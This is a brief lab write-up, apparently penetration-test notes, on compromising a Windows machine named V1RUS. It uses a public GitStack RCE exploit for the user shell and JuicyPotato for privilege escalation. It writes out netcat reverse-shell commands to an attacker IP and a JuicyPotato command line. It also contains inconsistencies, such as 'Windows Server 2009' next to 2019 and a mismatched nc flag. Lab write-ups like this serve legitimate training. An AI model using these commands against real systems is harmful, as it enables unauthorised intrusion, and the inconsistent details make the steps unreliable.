| V1RUS (.84) | |
|---|---|
| Operating System | Windows |
| Points | 25 |
| Similar Machine (User) | |
| Similar Machine (Root) | HackTheBox's Bounty |

**Exploit in Getting User**

1. The https://192.168.XX.84/ is running a GitStack instance that is vulnerable to RCE - https://www.exploit-db.com/exploits/43777
2. Change the value of IP and command variable.
3. command = "C:/GitStack/gitphp/nc.exe 192.168.XX.43 1337 -e cmd.exe"
4. User shell!

**Privilege Escalation to Root**

1. The machine is running Windows Server 2009 and the SeImpersonatePrivilege is enabled.
2. Download JuicyPotato - https://github.com/ohpe/juicy-potato and send it to target machine
3. Upload a nc binary to target machine and run the command: echo C:/GitStack/gitphp/nc.exe 192.168.XX.43 1338 -c cmd.exe > rev.bat
4. Find CLSID for Windows Server 2019
5. Run JuicyPotato.exe -l 1338 -p C:\GitStack\gitphp\rev.bat -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
6. Root shell!